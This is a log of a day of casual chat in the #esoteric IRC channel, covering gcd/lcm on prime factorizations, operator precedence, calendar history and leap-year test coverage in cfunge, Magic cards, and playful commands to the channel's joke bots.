2017-04-01: 00:02:37 To be precise: Where ςx indicates the prime factorization of x expressed as a bag (multiset) and M{e}- where M is a multiset and e is some value- represents the degree of e in M (M{e} = 0 if e ∉ M): ςgcd(x,y){p} = max(ςx{p}, ςy{p}) 00:02:59 (ς has higher precedence than _{_}, to be clear) 00:15:37 -!- oerjan has joined. 00:17:02 Huh, never thought of that 00:17:21 Well, it makes sense though 00:18:32 well, hrm 00:18:48 isn't it rather basically intersection and union of prime factors? 00:19:02 where you define that sensibly for bags 00:19:50 your syntax confuses me 00:20:52 What, so scripts that rerun old commands from history will have to discriminate between pre- and post-fix commands? <-- iirc they already have the problem that run doesn't include run in its commit messages. 00:21:14 FireFly: that's because hppavilion[1] is the sort of person who uses final sigma as a variable name 00:21:14 OH, right. 00:21:17 So it's hopeless. 00:21:27 alercah: It's not a variable name 00:21:50 FireFly: Oh, yeah, that too. Forgot that I'd also thought of it that way, and that that way is better 00:22:01 hppavilion[1]: oh, I guess it's min/max of the powers of each corresponding prime factor 00:22:07 -!- tromp has quit (Remote host closed the connection). 00:22:18 -!- tromp has joined. 00:22:25 FireFly: Yeah, it is. Which is also a reasonable definition for intersection and union, respectively 00:22:34 (Though, union could also be defined as addition, so...) 00:22:57 hppavilion[1]: function, whatever 00:23:21 alercah: I kind of think of it as an atomic symbol like +, but it's basically a function, yes 00:31:14 I think of + as a function 00:31:55 Addition being multiplication? 00:37:45 shapr: have you heard people talk about 3.5" or 5.25" diskettes in swedish? were they three point five or three and a half inch? (also five point 25 vs five and a quarter, if you're old enough for that) 00:37:55 the positive integers are isomorphic to N^N as a monoid (with * -> +), or as a lattice with gcd, lcm -> min, max. 00:38:41 olsner: in hebrew it's three and a half hth 00:39:23 hm if you do a\b = lcm a b/b you get bag difference. 00:39:49 well, something like it. 00:40:08 the positive naturals are the free commutative monoid generated by the primes 00:40:13 meaning the lattice is distributive. 00:40:24 Lattice? 00:40:33 the naturals are the free semilattice generated by the powers of two 00:40:44 what sorts of other free algebraic structures are the naturals? 00:41:12 shachaf: i told you, as did hppavilion[1]: gcd and lcm. 00:41:24 they're the free monoid on one generator right 00:41:27 they are also a lattice. 00:42:05 Oh, that lattice. 00:42:12 But it's not free. 00:42:20 Yes, they're also the free monoid on one generator. 00:43:46 oerjan: lcm a b/b is 1. 00:45:07 lcm would not be very useful if that was the case hth 00:45:20 shachaf: It's true 00:45:34 Wait, no, it's a 00:45:38 gcd a b/b is 1 00:45:56 Since b/b = 1 00:46:18 plz lrn2precedence 00:46:19 (I don't care what your conventions are, the first thought is that b/b associates before functions, so it's better) 00:46:20 as the kids say 00:46:35 shachaf: I am the kids and have not once said that 00:46:45 your first thought is wrong and you should feel wrong 00:46:49 shachaf: What we're saying is "lrn2president", and it's just to Donald. 00:47:09 shachaf: It looks righter, so you should be unambiguous or go with the straightforwarder one. 00:47:24 infix > curried functions. 00:47:30 function application has the highest presidence 00:47:38 nothing has been curried here 00:47:39 f x+1 = f (x+1) 00:47:42 (f x)+1 00:47:51 Of course not. 00:47:53 You're saying nonsense. 00:48:32 shachaf: Yeah they have. If you're using unparenthetical functions, then whether it takes precedence is context-defined, and there are different natural-seeming protocols 00:48:59 * hppavilion[1] . ø Ø ( This isn't even a semantic argument, it's just a syntactic one ) 00:49:23 I'm not sure what "infix > curried" functions are. 00:49:28 That seems like an error. 00:49:51 shachaf: In this case, > is precedence. 00:50:02 ... 00:50:03 dammit. 00:50:10 shachaf: I see what you did there. 00:50:14 * hppavilion[1] concedes 00:51:22 Haskell puts function application at, I think, the third-highest precedence. 00:51:25 Or was it fourth? 00:51:36 But it's more precedential than any infix operator. 00:53:30 what are first and second 00:53:40 bracket is one of them i take it 00:53:55 I don't remember. 00:54:10 I think it was a{} construction and a{} modification or something like that. 00:54:17 And a{} in pattern-matching context? 00:54:23 Those are three, kind of. 00:55:23 I think there was something else. 00:57:06 shachaf: ...lambdas? 01:02:48 -!- Marcela_Gandara1 has joined. 01:04:27 -!- Marcela_Gandara has quit (Read error: Connection reset by peer). 01:28:34 -!- Marcela_Gandara1 has quit (Ping timeout: 240 seconds). 01:31:01 -!- Marcela_Gandara has joined. 01:41:11 -!- ^v has quit (Ping timeout: 264 seconds). 01:42:12 -!- ^v has joined. 01:56:29 https://www.youtube.com/watch?v=LA_DrBwkiJA tom7 has done it again :D 02:03:56 -!- Marcela_Gandara has quit (Ping timeout: 246 seconds). 02:06:22 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:13:18 -!- Marcela_Gandara has joined. 02:14:03 -!- Akaibu has joined. 02:14:26 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 02:19:27 -!- Marcela_Gandara has changed nick to Marcela_-. 02:19:34 -!- Marcela_- has changed nick to Marcela_Gandara. 02:20:58 -!- Zarutian has quit (Quit: Zarutian). 02:22:45 -!- Marcela_Gandara has quit (Quit: Leaving.). 02:22:58 -!- Marcela_Gandara has joined. 02:29:51 -!- moony has quit (Remote host closed the connection). 02:32:31 -!- heroux has quit (Ping timeout: 258 seconds). 02:33:13 -!- heroux has joined. 02:45:26 -!- tromp has quit (Remote host closed the connection). 02:47:22 -!- tromp has joined. 03:00:49 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 03:13:47 -!- hppavilion[1] has joined. 03:14:26 So that bill that lets companies sell your private data 03:14:35 I think I might have a solution (for us US residents) 03:15:14 Take the Ad Nauseam approach: Make a program that constantly scours the internet for bizarre content and use that so your data is worthless- almost none of it relates to you 03:17:27 Hm, wait 03:17:49 The Child Protection Act probably forbids them from distributing content like this, so any house with children might be safe. 03:20:41 The sad part is, the bill doesn't let companies sell your private data. It *stops the FCC* from stopping companies from selling your private data before the new regulations to that effect would go into effecct. 03:20:52 -!- LKoen_ has joined. 03:21:04 i.e. it doesn't quite change the status quo, it just went "Fuck, that regulation is clearly a bad idea." 03:22:29 -!- LKoen has quit (Ping timeout: 240 seconds). 03:49:03 pikhq: Oh, well yeah. 03:57:07 -!- LKoen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:58:27 __del__( self ) : A blog. 04:24:19 -!- erkin has joined. 04:45:58 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:57:46 -!- Akaibu has quit (Quit: Connection closed for inactivity). 05:00:12 -!- hppavilion[1] has joined. 05:45:09 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 06:05:03 {-} Conspiracy ;; Double agenda ;; Permanents with each chosen name have protection from the other chosen name. 06:19:09 -!- oerjan has quit (Quit: Nite). 06:29:13 -!- tromp has quit (Remote host closed the connection). 06:38:59 -!- IronY has changed nick to desktopProjectY. 06:39:27 -!- desktopProjectY has changed nick to Ir0nY. 07:07:06 -!- hppavilion[1] has joined. 07:07:44 -!- Ir0nY has changed nick to IronY. 07:23:47 -!- ^v has quit (Ping timeout: 264 seconds). 07:28:38 -!- ^v has joined. 07:29:42 -!- tromp has joined. 07:31:42 -!- Gregor has quit (Quit: Coyote finally caught me). 07:33:59 -!- ^v has quit (Ping timeout: 264 seconds). 07:34:31 -!- tromp has quit (Ping timeout: 260 seconds). 07:35:00 -!- ^v has joined. 07:46:35 -!- ^v has quit (Ping timeout: 246 seconds). 07:47:03 -!- MoALTz has joined. 07:49:56 -!- ^v has joined. 08:22:15 -!- Gregor has joined. 08:29:50 -!- AnotherTest has joined. 08:45:04 if you're developing a game with a fictional world 08:45:13 and you have a character that looks like a koala 08:45:20 is it racist to give it an australian accent? 08:57:29 it's a fictional world, does australia even exist? 08:57:43 not in that world 08:57:59 hence my question 08:59:35 -!- ^v has quit (Ping timeout: 256 seconds). 09:02:34 -!- ^v has joined. 09:11:38 -!- hppavilion[1] has set topic: It is officially the future as of now | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 09:15:10 -!- ^v has quit (Ping timeout: 260 seconds). 09:19:27 -!- ^v has joined. 09:22:29 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 09:41:47 -!- ^v has quit (Ping timeout: 264 seconds). 09:42:37 -!- ^v has joined. 10:01:47 -!- ^v has quit (Ping timeout: 258 seconds). 10:07:00 -!- ^v has joined. 10:11:23 izabera: I'd say no; generally giving your characters certain accents isn't racist by itself in my view. (Note that, for example, Jar Jar Binks caused upset not because the particular accent was used, but because it was given to a very stupid (though incredibly lucky) character and people took offense at that stereotypical association.) 10:12:20 Smarter than a koala, though, I imagine. 10:13:03 Heh, you're clearly not reading "A Girl and Her Fed" 10:18:45 (Meet Speedy: http://agirlandherfed.com/1.96.html [warning, that strip's a remake and if you actually want to read the whole thing you'll have to deal with art that looks like http://agirlandherfed.com/1.98.html for some time.]) 10:22:59 (FWIW, treating a koala like a stupid little kid because he's a koala? That's racist ;-) ) 10:24:24 What about a fictional species? 10:24:46 int-e: you should help me roll these sausages twh 10:26:27 I've been distracted from Torment by Thistleweed Park. 10:27:18 Ah, I got the email about that the other day. 10:28:21 -!- Lord_of_Life has quit (Excess Flood). 10:28:58 And somehow I ended up paying the full retail price (it's not more than $20 after all, for an adventure game! (technically, of course, it's €20 minus a future discount...)) 10:28:59 -!- Lord_of_Life has joined. 10:29:41 -!- AnotherTest has quit (Ping timeout: 246 seconds). 10:30:51 -!- Lord_of_Life has quit (Excess Flood). 10:31:18 -!- tromp has joined. 10:31:29 -!- Lord_of_Life has joined. 10:32:08 Future discount? 10:34:17 gog has regional pricing, but somehow tries to compensate for this by giving store credit for sales where the price in EUR is is the same amount as the price in USD. 10:34:41 Ah. 10:35:07 I don't know much I paid, but it was in 2014. 10:35:55 -!- tromp has quit (Ping timeout: 256 seconds). 10:38:49 -!- Lord_of_Life has quit (Excess Flood). 10:39:59 -!- Lord_of_Life has joined. 10:40:06 -!- zzo38 has quit (Ping timeout: 240 seconds). 10:56:54 -!- ^v has quit (Ping timeout: 260 seconds). 10:57:06 -!- zzo38 has joined. 10:58:06 -!- contrapumpkin has quit (Ping timeout: 260 seconds). 10:58:34 -!- ^v has joined. 11:05:19 -!- Lord_of_Life has quit (Excess Flood). 11:06:11 -!- ^v has quit (Ping timeout: 258 seconds). 11:09:46 -!- ^v has joined. 11:17:26 -!- ^v has quit (Ping timeout: 260 seconds). 11:20:53 -!- ^v has joined. 11:32:18 -!- LKoen has joined. 11:34:30 -!- contrapumpkin has joined. 11:37:39 -!- Phantom_Hoover has joined. 11:39:55 -!- ^v has quit (Ping timeout: 258 seconds). 11:41:23 -!- ^v has joined. 11:58:19 -!- ^v has quit (Ping timeout: 258 seconds). 12:02:45 -!- ^v has joined. 12:23:05 -!- ^v has quit (Ping timeout: 246 seconds). 12:25:58 -!- ^v has joined. 12:31:53 -!- tromp has joined. 12:35:53 -!- ^v has quit (Ping timeout: 258 seconds). 12:36:28 -!- tromp has quit (Ping timeout: 240 seconds). 12:36:54 -!- ^v has joined. 12:38:56 -!- idris-bot has joined. 12:39:09 -!- Melvar has changed nick to Melvar. 12:53:31 -!- wob_jonas has joined. 13:33:26 -!- tromp has joined. 13:38:11 -!- tromp has quit (Ping timeout: 264 seconds). 13:39:34 -!- Zarutian has joined. 13:40:44 -!- Zarutian has quit (Read error: Connection reset by peer). 13:40:52 -!- Zarutian has joined. 13:53:59 -!- xkapastel has joined. 14:35:08 -!- tromp has joined. 14:39:35 -!- tromp has quit (Ping timeout: 256 seconds). 14:49:00 -!- s1feha has joined. 14:49:52 -!- s1feha has quit (Client Quit). 14:50:59 -!- S1 has joined. 14:52:02 -!- boily has joined. 15:00:13 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 15:10:39 -!- tromp has joined. 15:11:07 wisdom 15:11:09 guestbot//guestbot is nobody 15:15:02 fungot: 🍐 15:15:02 boily: oy. i'll get to move around a subroutine pointer. getting rid of currying was not part of the game loop starts. 15:15:28 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 15:17:08 -!- Phantom_Hoover has joined. 15:17:08 -!- Phantom_Hoover has quit (Changing host). 15:17:08 -!- Phantom_Hoover has joined. 15:33:16 boily: re your question many days ago, the commands are random-card and card-by-name 15:33:51 the first one searches in the full text as listed in the Yawgatog-formatted oracle file, and prints a random matching card, the second one searches only at the start of the card name and prints all matches 15:34:11 random-card infect 15:34:12 Infectious Rage \ 1R \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +2/-1. \ When enchanted creature dies, choose a creature at random Infectious Rage can enchant. Return Infectious Rage to the battlefield attached to that creature. \ JUD-U 15:34:12 cwlprits guestbot 15:34:19 guestböt 15:34:35 that entry seems kind of pointless 15:36:11 but it has two points on the o 15:36:46 no wait, that's the cwlprïts only 15:37:25 'to' = 2; 'for' = 4; /eıt/ = 8; 'fuck' = 4k; 15:37:33 unidecode  15:37:35 U+F105 - No such unicode character name in database \ UTF-8: ef 84 85 UTF-16BE: f105 Decimal:  \  () \ Uppercase: U+F105 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right) 15:37:36 4k is nothing but marketing crap confirmed 15:38:10 rm wisdom/guestbot 15:38:12 No output. 15:38:58 wellob_jonas. tdh! 15:43:33 random-card chicken 15:43:34 Fowl Play \ 2U \ Enchant Creature \ Enchanted creature loses all abilities and is a 1/1 creature that counts as a Chicken. \ UG-C 15:43:44 :D 15:45:16 nice flavor text, no pun intended: "I feel like chicken tonight!" 15:46:24 Everyone knows, when you put "no pun intended", that the pun is intended. 15:47:13 int-ello, rdochelloc. 15:47:17 I wasn't actively looking for the pun, it just happened and I noticed. 15:48:41 But puns are never a bad thing. 15:49:59 * boily discreetly oils his mapole and gives it a few practice swings 15:54:18 * rdococ discretely takes some bamboo sticks and string to construct a bamboo shield. 15:54:21 boily: I rather suspect that the pun was first made by the M:tG people. 15:55:10 * rdococ licks int-e. tastes like chicken. 15:59:18 int-e: I know, I have that card ^^ 15:59:44 rdococ: please, no licking people in this chännel. there once was a guy called "ion" and he was licked into dissolution. 15:59:53 ? ion 15:59:54 ion? ¯$$°​_o)/¯ 16:00:09 even his wisdom disappeared... 16:05:47 Thanks for the valuable information. I'll keep that in mind if someone smacks me with a mapole, specimen of fish, or some other object. 16:06:08  cd wisdom; echo *ion* 16:06:09 abbreviation action algebraic chess notation auction bessel function cat elimination cat introduction cipation citation civilization companion cube composition cut elimination damnation defenestration dereduntantation detonation eurovision hallucination hppavilion hppavilion1 hppavilion[1] hppavilion[42] hppavilion^k hppavilion_m identity function 16:06:22 maybe it bonded with some other ion 16:06:49 hipavil 16:06:59 ? algebraic chess notation 16:07:00 Algebraic chess notation is not a notation for algebraic chess. 16:07:07 ? algebraic chess 16:07:08 algebraic chess? ¯\(°​_o)/¯ 16:07:16 ? cocat 16:07:17 cocat? ¯\(°​_o)/¯ 16:08:29 -!- LKoen has joined. 16:10:35 grwp algebraic chess notation 16:10:36 No output. 16:10:39 ... 16:11:00 grwp pineapple 16:11:01 anana:ananas is the real pineapple. 16:11:08 grwp chess 16:11:09 algebraic chess notation:Algebraic chess notation is not a notation for algebraic chess. 16:11:17 ? chess 16:11:18 Chess is a complex boardgame, where players exchange unclear royal steaks until they decide which of them has lost. The game is recorded through the Gringmuth Moving Pineapple Notation. 16:15:07 -!- S1 has quit (Quit: Leaving). 16:22:08 -!- ^v has quit (Ping timeout: 246 seconds). 16:23:22 -!- ^v has joined. 16:27:58  mv wisdom/anana wisdom/ananas 16:28:00 No output. 16:38:33 ? banana 16:38:34 Bananananananana BATMAN! 16:48:59 -!- Lord_of_Life has joined. 16:53:38 -!- cAssAndre has joined. 16:58:28 Banatman 17:00:16 -!- cAssAndre has quit (Read error: Connection reset by peer). 17:01:23 -!- keemyb has quit (Quit: https://fnordserver.eu). 17:02:57 -!- ybden has quit (Ping timeout: 256 seconds). 17:04:02 -!- Lord_of_Life has quit (Excess Flood). 17:04:04 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 17:05:29 -!- Lord_of_Life has joined. 17:05:39 -!- ybden has joined. 17:08:53 -!- Lord_of_Life has quit (Excess Flood). 17:10:59 -!- Lord_of_Life has joined. 17:12:28 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 17:28:57 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 17:37:00 -!- Lord_of_Life has quit (Excess Flood). 17:40:32 -!- contrapumpkin has joined. 17:41:49 -!- contrapumpkin has quit (Client Quit). 17:46:03 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 17:56:31 -!- ais523 has joined. 18:00:36 -!- ais523 has quit (Remote host closed the connection). 18:01:46 -!- ais523 has joined. 18:08:42 -!- ais523 has quit. 18:10:16 ? trace 18:10:17 trace? ¯\(°​_o)/¯ 18:17:00 Tanelle. 18:17:03 ? debug 18:17:04 debug? ¯\(°​_o)/¯ 18:21:40 Hello! 18:21:46 I was more referring to the trace of a matrix 18:31:40 can a matrix have a debug option? 18:34:04 tracing the Matrix... 18:34:41 fracing the Tatrix... 18:35:03 * boily mapoles rdococ into the next diagonal 18:35:56 * rdococ blocks with his bamboo shield 18:36:52 -!- trn has quit (Quit: quit). 18:37:12 * rdococ rolled a 1d6 at random.org... the result was 3 18:37:33 * rdococ successfully blocks the mapole, but the shield is close to breaking (and being delicious). 18:37:45 -!- contrapumpkin has joined. 18:38:17 https://en.wikipedia.org/wiki/Bamboo#Culinary 18:38:38 fungot: 2d12 + 1d8 18:38:39 boily: programming is tough man to make a coffee while compiling) it only depends on case-sensitivity, otherwise it's trivially impossible 18:39:16 -!- contrapumpkin has quit (Client Quit). 18:39:42 hm 18:43:10 -!- contrapumpkin has joined. 18:44:01 contrapumpkin! 18:44:08 hm 18:44:25 something can be contradictory, but what does it mean for something to be dictory, or ntradictory? 18:49:46 ntra hth. 18:54:31 -!- nortti has quit (Ping timeout: 268 seconds). 18:54:37 -!- nortti has joined. 18:56:03 -!- DHeadshot has joined. 18:59:32 DHeadshot! 19:17:52 -!- augur has joined. 19:45:05 hi 19:45:07 Deewiant_: there? 19:45:33 -!- Deewiant_ has changed nick to Deewiant. 19:45:35 Yes 19:46:15 According to coverage tests I just did of cfunge running mycology, the tests for DATE never hit the "is not leapyear" case 19:47:31 Depends on the instruction you're looking at I guess 19:47:54 Ah wait, it never hits the "isn't leap year due to the 100 year rule" 19:48:03 in the shared is_leap_year function 19:48:21 https://codecov.io/gh/VorpalBlade/cfunge/src/fd1d838ab7198c63380450c620fc4026b04a30e9/src/fingerprints/DATE/DATE.c#L87 19:48:27 Right 19:48:48 nor is feb ever 28 days long in any tests 19:49:25 February the 29th is happy somecode cares about it 19:52:02 "handle year 0" is cute. 19:52:37 what about years 1 to 1582? 19:53:00 I think year 0 is the same as 1 BC isn't it? 19:53:12 (and then year -1 is 2 BC, and so on) 19:53:16 int-e: I think it is a RCFunge fingerprint so it is probably badly specified 19:53:39 int-e: also not all countries switched then, so you would /have/ to know which country it is in 19:54:03 Vorpal: I know. Russia switched in 1917, was it the last one? 19:54:04 it is easier and saner to suggest using the proleptic Gregorian calendar 19:54:21 int-e: look up how Sweden switched, it is really insane 19:55:45 oh, I guess zzo38 has it right. it's moving -1, encoding 1 BC, to 0. 19:55:51 -!- hppavilion[1] has joined. 19:56:42 I think Dee wanted to switch to Gregorian calendar gradually, even though most of the royals did not like Gregorian calendar because is from the pope, but actually should have the benefit of its own idea, regardless who invented it (although, since the pope invented it, is why to call Gregorian) 19:57:02 Dee? 19:57:51 John Dee 19:57:53 zzo38: Deewiant: http://rcfunge98.com/rcsfingers.html#DATE 19:58:07 err int-e ^ 19:58:13 "Gregorian calendar is assumed for calendar dates" 20:03:49 hm 20:09:34 -!- Marcela_Gandara has joined. 20:14:15 Vorpal: yeah I have to admit I was misled by the comment 20:14:51 int-e: did you look up how Sweden did the fixing? 20:14:57 err change 20:15:16 https://en.wikipedia.org/wiki/Swedish_calendar 20:16:55 I may have seen this before. 20:18:12 (yes, I have; the occasion being the mystery of the Februrary 30th date.) 20:18:30 But thanks for the reminder, I had mostly forgotten about it. 20:20:06 Also, what about the Arabic calendar? 20:20:14 don't they have a completely different year? 20:23:59 a lunar one, apparently 20:24:21 Thailand has a solar calendar that's got a different year. 20:24:33 Made reading "best before" dates on products a bit challenging. 20:24:40 gtg 20:24:53 "Years are now counted in the Buddhist Era (B.E.): พุทธศักราช, พ.ศ., rtgs: Phutthasakkarat) which is 543 years ahead of the Christian/Common Era." https://en.wikipedia.org/wiki/Thai_solar_calendar 20:25:23 Why not just count from today? 20:25:34 Today is the 1st of Firstmoon, 1. 20:25:37 gtg 20:26:03 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 20:26:29 ("Different year" as in the number is different, the definition is the same.) 20:27:16 fizzie: same rule for leap year as Gregorian then? 20:28:52 I believe so, though of course with an offset in the divisible by 4/100/400 bit. And they adjusted the day the year starts at one point, so there's one short year. 20:30:01 the problem with code coverage for cfunge is there is a lot of "if (!x()) { ip_reverse(); return; } style of thing for OOM conditions and such 20:30:25 Has everybody here preordered their Google Gnome yet? 20:30:32 Or, in this channel, Google GNOME? 20:30:41 hppavilion[1]: seen the video 20:30:54 I was thinking of just converting a Home with a paper hat. 20:31:08 (Also don't have a garden.) 20:33:21 The Finnish national railway operator (VR) and the national gambling monopoly company (Veikkaus) had a joint April Fool's joke about how you'll be able to start betting (for money) whether the trains run on time or not. 20:33:52 Tries a little too hard to be self-deprecating, but. 20:34:31 I guess technically every time you buy a ticket you're already doing that, because there's a refund if there's a long enough delay. 20:39:13 fizzie: well, what are the odds on a refund? 20:39:25 I guess you never get more than you put in? 20:39:30 Why is betting typically illegal in the US? 20:40:33 I have implemented Gregorian, Julian, and Discordian calendars, in TeX. 20:40:37 Vorpal: Yeah, the statutory one can't exceed the price you paid for the tickets. There's different tiers depending on how late they are. 20:40:57 Vorpal: Virgin Trains in UK gave us back more money than we paid, though. 20:41:07 fizzie: oh? really? 20:41:38 I don't know why, they're supposed to just do the usual refunds, but they sent us back a very apologetic letter with a £50 voucher. 20:41:48 We'd paid something like £34 or somewhere in that ballpark. 20:43:01 The other time they just refunded the bank account of the debit card I had paid with, completely proactively before we could even do a claim. 20:43:11 Do you know? In the next Magic: the Gathering they say there is now embalming. It is activated ability of a card in a graveyard, which exiles that card and creates a token copy which is white instead of the card's colors, a Zombie in addition to the card's subtype, and lacks the card's mana cost. 20:43:58 -!- Marcela_Gandara has joined. 20:49:33 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 21:11:28 -!- ^v has quit (Ping timeout: 258 seconds). 21:13:04 -!- augur has quit (Remote host closed the connection). 21:15:09 -!- ^v has joined. 21:23:55 -!- xkapastel has quit (Quit: Connection closed for inactivity). 21:30:59 -!- Lord_of_Life has joined. 21:32:51 -!- Lord_of_Life has quit (Changing host). 21:32:51 -!- Lord_of_Life has joined. 21:32:51 -!- Lord_of_Life has quit (Changing host). 21:32:51 -!- Lord_of_Life has joined. 21:37:36 -!- DHeadshot has quit (Ping timeout: 240 seconds). 21:56:05 -!- AnotherTest has joined. 22:01:00 [wiki] [[WysiScript]] N https://esolangs.org/w/index.php?oldid=51635 * B jonas * (+580) Created page with "'''WysiScript''' is a programming language in which programs are formatted (rich) text, and that completely ignores the characters in the input, caring only about their format..." 22:05:24 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51636&oldid=51624 * B jonas * (+17) 22:25:57 -!- Marcela_Gandara has quit (Ping timeout: 256 seconds). 22:30:14 -!- Marcela_Gandara has joined. 22:44:03 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 22:49:03 -!- Zarutian has quit (Ping timeout: 240 seconds). 22:53:49 -!- AnotherTest has quit (Ping timeout: 240 seconds). 23:08:14 -!- erkin has joined. 23:12:21 -!- DHeadshot has joined. 23:12:47 wisdom 23:12:48 partial order//A partial order is just a small thin skeletal category. 23:13:06 . o O ( are there thick skeletons? ) 23:13:23 Of course. 23:17:11 helloochaf. skeletal pooches. 23:18:40 I think I noticed that too about partial order, before 23:21:47 was it someone in #esoteric who did the printable binary 23:23:20 Someone on here mentioned it, but I think Tom 7 made that program. 23:24:01 smlist 23:24:01 smlist: shachaf monqy elliott mnoqy Cale 23:24:09 http://www.supermegacomics.com/index.php?i=452 23:26:21 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:32:43 -!- LKoen has joined. 23:33:08 thanks Cale 23:33:08 Thanks, Cale. Thale. 23:33:27 -!- MoALTz has quit (Quit: Leaving). 23:39:48 helloily happy saturday 23:57:03 -!- ais523 has joined. 23:58:11 -!- oerjan has joined. 23:58:23 helloerjan 23:58:36 holais523 23:58:49 hellopia 23:59:22 -!- hppavilion[1] has joined. 2017-04-02: 00:07:28 quinthellopia! que le samedi soit avec toi! 00:08:08 that seems idiomatic 00:08:10 hell§rjan, his523, hppavellon[1], Callo, hezzo38, Phantom_Helloover. 00:08:20 help translate? 00:08:24 good midnoily 00:08:29 wait 00:08:30 “may the Saturday be with you!” 00:08:36 wait? 00:08:55 it's DST here now, so it isn't midnight UTC 00:09:44 right, you DSTed. 00:09:58 -!- Zarutian has joined. 00:10:07 * boily hates DST. and PDFs. and a bunch of other TLAs. 00:10:12 Zarutellon! 00:10:40 we should be at -4 all year long. 00:10:50 I don't like daylight saving time either. 00:10:58 And, PDF also isn't very good, I think. 00:11:07 -!- Phantom_Hoover has quit (Quit: Leaving). 00:12:26 but ZZT is good. 00:12:52 what about GAI 00:13:11 what's a GAI? 00:13:36 i mean AGI 00:14:01 good. 00:14:19 you like? 00:16:55 with STR, CON, INT, WIS and CHR. 00:17:00 are there any other AGIs? 00:23:46 -!- ais523 has quit. 00:31:50 "adventure game interpreter" 00:36:54 . o O ( maybe we're actually living inside something that's an AGI in both senses ) 00:37:18 huh. you can actually make plants invisible in DCSS... 00:37:20 . o O ( although the game sucks ) 00:37:37 boily: you did not see that coming? 00:37:38 i was think artificial general intelligence, but agility works too, if you're into acrobatics 00:37:49 oerjan: should i use b-trees instead of binary trees for in-memory data structures twh 00:38:00 * boily ninjaly thwacks oerjan. 0.19 FP. 00:38:04 . o O ( AGI is like SCUMM except you die all the time. ) 00:38:29 shachaf: i know, vaguely, what a b-tree is. i'm not sure i've ever implemented one. 00:38:31 what is dcss 00:38:31 What is AGI? 00:38:44 oerjan: OKAY 00:39:10 "adventure game interpreter" <-- it's by Sierra 00:39:43 Ah. 00:40:01 it's also annual gross income 00:40:08 tax season is upon us 00:40:33 the us citizens among us, that is 00:40:39 or residents 00:40:50 yeah i really should do that. i usually don't wait this long 00:41:00 Last year I was so prompt with my taxes. 00:41:06 I was done in February, I think. 00:41:12 This year it's going to be a bit messier. 00:41:27 . o O ( all income is gross ) 00:42:24 oerjan: do you need someone to take care of yours wth 00:42:25 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 00:42:39 quintopia: Dungeon Crawl Stone Soup. 00:42:55 shachaf: you're _not_ getting my income hth 00:43:18 obviously i meant zzo38 hth 00:44:26 oerjan: your puns need some adjustment 00:44:42 Wait, I meant adjusted. 00:44:51 Ugh. 00:45:04 The thing that confuses me is that there's something called "MAGI", "modified AGI" 00:45:13 So I always thing the A couldn't possibly be "adjusted" 00:45:18 And it always is. 00:52:47 -!- h0rsep0wer has joined. 00:53:01 relcome h0rsep0wer 00:53:03 ​h0rsep0wer: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:03:51 \o/ 01:04:55 o/ 01:05:03 /o\ 01:05:21 where's a myndzi when you need one 01:17:49 -!- hppavilion[1] has joined. 01:18:01 hppavilion[1]: can you myndze? 01:19:06 boily: ...what is Red October? 01:19:47 myndze your own business 01:21:13 hppavilion[1]: a Russian Event. where do hamsters go? 01:21:35 * boily thwacks shachaf. 0.63 FP 01:21:56 ? boily 01:21:57 ​“Only sane adverb” boily is monetizing a brotherhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He is also a NaniDispenser, a Trigotillectomic Groan Man Eating Chicken, a METARologist, seriously lacking in the f-word department, a thwack doctor, and a renowned Capitalist who helps keep the world boring. 01:22:23 boily is a renowned Capitalist? 01:22:28 Does he wear a top hat? 01:23:03 oerjan: your puns need some adjustment <-- which ones twh 01:25:02 oerjan: i think the pun was on "adjusted gross income" hth 01:25:20 shachaf: I can't remember why I'm a Capitalist, but I think it made sense at the time. or something. 01:26:10  dowg Boily | grep Capital 01:26:17 No output. 01:26:22 oopse 01:26:25  dowg boily | grep Capital 01:26:32 10107:2017-01-07 le/rn boily//\xe2\x80\x9cOnly sane adverb\xe2\x80\x9d boily is monetizing a brotherhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He is also a NaniDispenser, a Trigotillectomic Groan Man Eating Chicken, a METARologist, seriously lacking in the f-word department, and a renowned Capitalist wh 01:26:41 2 dowg boily | grep Capital 01:26:50 2/2: Capitalist who helps keep the world boring. \ 7173:2016-03-08 learn_append boily He is also a renowned Capitalist. 01:27:15 Oh, it's probably about Capital letters. 01:27:26 I think ShubShub is the renowned Capitalist. 01:27:37 what's a ShubShub? 01:27:57 * boily is startled by the sudden pink of /r/writingprompts 01:29:05 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:40:42 -!- h0rsep0wer has quit (Quit: Leaving). 01:41:58 wisdom 01:42:00 lie//Lies are even easier than monoids. They form groups, known as Lie groups. 01:42:21 4 w 01:42:25 1/2:gamemanj//gamemanj is also the mad scientist I. N. Here. He will overthink everything, except whether overthinking is wrong. \ blsqbot//blsqbot is the owner of the bot 'mroman'. 